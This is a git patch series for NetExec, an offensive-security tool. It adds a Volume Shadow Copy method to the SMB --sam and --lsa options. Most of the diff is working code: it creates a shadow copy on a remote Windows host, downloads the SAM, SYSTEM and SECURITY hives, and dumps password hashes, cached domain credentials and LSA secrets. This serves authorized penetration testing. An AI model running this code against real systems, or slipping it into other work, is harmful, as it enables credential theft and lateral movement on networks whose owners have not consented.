From 97edc417930bb75dfd2621324ec753c966e485a4 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 7 Jan 2026 00:07:37 +0100 Subject: [PATCH 1/3] add shadow copy for sam/lsa --- nxc/protocols/smb.py | 155 ++++++++++++++++++++------------ nxc/protocols/smb/proto_args.py | 4 +- pyproject.toml | 2 +- 3 files changed, 102 insertions(+), 59 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 3507e48ec8..d13fda28dc 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -7,6 +7,7 @@ from Cryptodome.Hash import MD4 from textwrap import dedent +import tempfile from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.examples.secretsdump import ( @@ -14,6 +15,7 @@ SAMHashes, LSASecrets, NTDSHashes, + LocalOperations, ) from impacket.examples.regsecrets import ( RemoteOperations as RegSecretsRemoteOperations, @@ -1950,7 +1952,6 @@ def enable_remoteops(self, regsecret=False): @requires_admin def sam(self): try: - self.enable_remoteops(regsecret=(self.args.sam == "regdump")) host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): @@ -1967,35 +1968,56 @@ def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes = 0 - if self.remote_ops and self.bootkey: - if self.args.sam == "regdump": - SAM = RegSecretsSAMHashes( - self.bootkey, - remoteOps=self.remote_ops, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), - ) - else: - SAM_file_name = self.remote_ops.saveSAM() - SAM = SAMHashes( - SAM_file_name, - self.bootkey, - isRemote=True, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), - ) - - self.logger.display("Dumping SAM hashes") - self.output_filename = self.output_file_template.format(output_folder="sam") - SAM.dump() - SAM.export(self.output_filename) - self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") - + if self.args.sam == "vss": + self.logger.display("Dumping SAM hashes via VSS shadow copy") try: - self.remote_ops.finish() + with tempfile.TemporaryDirectory() as tmp_dir: + remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", tmp_dir) + + local_ops = LocalOperations(system_path) + bootkey = local_ops.getBootKey() + + SAM = SAMHashes(sam_path, bootkey, isRemote=False, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) + self.output_filename = self.output_file_template.format(output_folder="sam") + SAM.dump() + SAM.export(self.output_filename) + self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") + SAM.finish() except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") + self.logger.fail(f"VSS dump failed: {e}") + else: + self.enable_remoteops(regsecret=(self.args.sam == "regdump")) + + if self.remote_ops and self.bootkey: + if self.args.sam == "regdump": + SAM = RegSecretsSAMHashes( + self.bootkey, + remoteOps=self.remote_ops, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) + else: + SAM_file_name = self.remote_ops.saveSAM() + SAM = SAMHashes( + SAM_file_name, + self.bootkey, + isRemote=True, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) + + self.logger.display("Dumping SAM hashes") + self.output_filename = self.output_file_template.format(output_folder="sam") + SAM.dump() + SAM.export(self.output_filename) + self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") + + try: + self.remote_ops.finish() + except Exception as e: + self.logger.debug(f"Error calling remote_ops.finish(): {e}") - if self.args.sam == "secdump": - SAM.finish() + if self.args.sam == "secdump": + SAM.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.') @@ -2253,8 +2275,6 @@ def list_snapshots(self): @requires_admin def lsa(self): try: - self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) - def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) @@ -2271,35 +2291,58 @@ def add_lsa_secret(secret): add_lsa_secret.secrets = 0 - if self.remote_ops and self.bootkey: - if self.args.lsa == "regdump": - LSA = RegSecretsLSASecrets( - self.bootkey, - self.remote_ops, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), - ) - else: - SECURITYFileName = self.remote_ops.saveSECURITY() - LSA = LSASecrets( - SECURITYFileName, - self.bootkey, - self.remote_ops, - isRemote=True, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), - ) - self.logger.display("Dumping LSA secrets") - self.output_filename = self.output_file_template.format(output_folder="lsa") - LSA.dumpCachedHashes() - LSA.exportCached(self.output_filename) - LSA.dumpSecrets() - LSA.exportSecrets(self.output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + if self.args.lsa == "vss": + self.logger.display("Dumping LSA secrets via VSS shadow copy") try: - self.remote_ops.finish() + with tempfile.TemporaryDirectory() as tmp_dir: + remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", tmp_dir) + + local_ops = LocalOperations(system_path) + bootkey = local_ops.getBootKey() + + LSA = LSASecrets(security_path, bootkey, None, isRemote=False, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret)) + self.output_filename = self.output_file_template.format(output_folder="lsa") + LSA.dumpCachedHashes() + LSA.exportCached(self.output_filename) + LSA.dumpSecrets() + LSA.exportSecrets(self.output_filename) + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + LSA.finish() except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") - if self.args.lsa == "secdump": - LSA.finish() + self.logger.fail(f"VSS dump failed: {e}") + else: + self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) + + if self.remote_ops and self.bootkey: + if self.args.lsa == "regdump": + LSA = RegSecretsLSASecrets( + self.bootkey, + self.remote_ops, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + else: + SECURITYFileName = self.remote_ops.saveSECURITY() + LSA = LSASecrets( + SECURITYFileName, + self.bootkey, + self.remote_ops, + isRemote=True, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + self.logger.display("Dumping LSA secrets") + self.output_filename = self.output_file_template.format(output_folder="lsa") + LSA.dumpCachedHashes() + LSA.exportCached(self.output_filename) + LSA.dumpSecrets() + LSA.exportSecrets(self.output_filename) + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + try: + self.remote_ops.finish() + except Exception as e: + self.logger.debug(f"Error calling remote_ops.finish(): {e}") + if self.args.lsa == "secdump": + LSA.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.') diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index cde7dcd574..44dbb70bf0 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -31,8 +31,8 @@ def proto_args(parser, parents): delegate_spn_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering") - cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems") - cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump LSA secrets from target systems") + cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump SAM hashes from target systems using the specifed method") + cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump LSA secrets from target systems using the specifed method") ntds_arg = cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method") # NTDS options kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") diff --git a/pyproject.toml b/pyproject.toml index f03162a3ad..ebdbc675ce 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -95,7 +95,7 @@ exclude = [ ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" ] -line-length = 65000 +line-length = 320 preview = true [tool.ruff.lint] From 5c250dfd345cd17a89032d21b69097aa66660de9 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 7 Jan 2026 00:10:13 +0100 Subject: [PATCH 2/3] set line-length to 65000 --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index ebdbc675ce..f03162a3ad 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -95,7 +95,7 @@ exclude = [ ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" ] -line-length = 320 +line-length = 65000 preview = true [tool.ruff.lint] From 5a70a396f1b008c0b4c8469cefa6f547b800876e Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 29 Jan 2026 21:51:38 +0100 Subject: [PATCH 3/3] TMP_PATH, refactor, fix LSA Kerberos format, help defaults --- nxc/protocols/smb.py | 82 ++++++++++++++++----------------- nxc/protocols/smb/proto_args.py | 4 +- 2 files changed, 43 insertions(+), 43 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d13fda28dc..5f650a9055 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -7,7 +7,6 @@ from Cryptodome.Hash import MD4 from textwrap import dedent -import tempfile from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.examples.secretsdump import ( @@ -57,6 +56,7 @@ from nxc.protocols.smb.samrfunc import SamrFunc from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight +from nxc.paths import TMP_PATH from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command from nxc.helpers.misc import detect_if_ip @@ -1968,28 +1968,25 @@ def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes = 0 + SAM = None + if self.args.sam == "vss": self.logger.display("Dumping SAM hashes via VSS shadow copy") try: - with tempfile.TemporaryDirectory() as tmp_dir: - remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) - sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", tmp_dir) - - local_ops = LocalOperations(system_path) - bootkey = local_ops.getBootKey() - - SAM = SAMHashes(sam_path, bootkey, isRemote=False, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) - self.output_filename = self.output_file_template.format(output_folder="sam") - SAM.dump() - SAM.export(self.output_filename) - self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") - SAM.finish() + remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", TMP_PATH) + + local_ops = LocalOperations(system_path) + bootkey = local_ops.getBootKey() + + SAM = SAMHashes(sam_path, bootkey, isRemote=False, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) except Exception as e: self.logger.fail(f"VSS dump failed: {e}") else: self.enable_remoteops(regsecret=(self.args.sam == "regdump")) if self.remote_ops and self.bootkey: + self.logger.display("Dumping SAM hashes") if self.args.sam == "regdump": SAM = RegSecretsSAMHashes( self.bootkey, @@ -2005,12 +2002,15 @@ def add_sam_hash(sam_hash, host_id): perSecretCallback=lambda secret: add_sam_hash(secret, host_id), ) - self.logger.display("Dumping SAM hashes") - self.output_filename = self.output_file_template.format(output_folder="sam") - SAM.dump() - SAM.export(self.output_filename) - self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") + if SAM: + self.output_filename = self.output_file_template.format(output_folder="sam") + SAM.dump() + SAM.export(self.output_filename) + self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") + if self.args.sam == "vss": + SAM.finish() + else: try: self.remote_ops.finish() except Exception as e: @@ -2291,30 +2291,25 @@ def add_lsa_secret(secret): add_lsa_secret.secrets = 0 + LSA = None + if self.args.lsa == "vss": self.logger.display("Dumping LSA secrets via VSS shadow copy") try: - with tempfile.TemporaryDirectory() as tmp_dir: - remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) - sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", tmp_dir) - - local_ops = LocalOperations(system_path) - bootkey = local_ops.getBootKey() - - LSA = LSASecrets(security_path, bootkey, None, isRemote=False, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret)) - self.output_filename = self.output_file_template.format(output_folder="lsa") - LSA.dumpCachedHashes() - LSA.exportCached(self.output_filename) - LSA.dumpSecrets() - LSA.exportSecrets(self.output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") - LSA.finish() + remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", TMP_PATH) + + local_ops = LocalOperations(system_path) + bootkey = local_ops.getBootKey() + + LSA = LSASecrets(security_path, bootkey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret)) except Exception as e: self.logger.fail(f"VSS dump failed: {e}") else: self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) if self.remote_ops and self.bootkey: + self.logger.display("Dumping LSA secrets") if self.args.lsa == "regdump": LSA = RegSecretsLSASecrets( self.bootkey, @@ -2330,13 +2325,18 @@ def add_lsa_secret(secret): isRemote=True, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) - self.logger.display("Dumping LSA secrets") - self.output_filename = self.output_file_template.format(output_folder="lsa") - LSA.dumpCachedHashes() - LSA.exportCached(self.output_filename) - LSA.dumpSecrets() - LSA.exportSecrets(self.output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + + if LSA: + self.output_filename = self.output_file_template.format(output_folder="lsa") + LSA.dumpCachedHashes() + LSA.exportCached(self.output_filename) + LSA.dumpSecrets() + LSA.exportSecrets(self.output_filename) + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + + if self.args.lsa == "vss": + LSA.finish() + else: try: self.remote_ops.finish() except Exception as e: diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 44dbb70bf0..043d38afbc 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -31,8 +31,8 @@ def proto_args(parser, parents): delegate_spn_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering") - cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump SAM hashes from target systems using the specifed method") - cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump LSA secrets from target systems using the specifed method") + cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump SAM hashes from target systems using the specifed method (default: %(const)s)") + cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump LSA secrets from target systems using the specifed method (default: %(const)s)") ntds_arg = cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method") # NTDS options kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")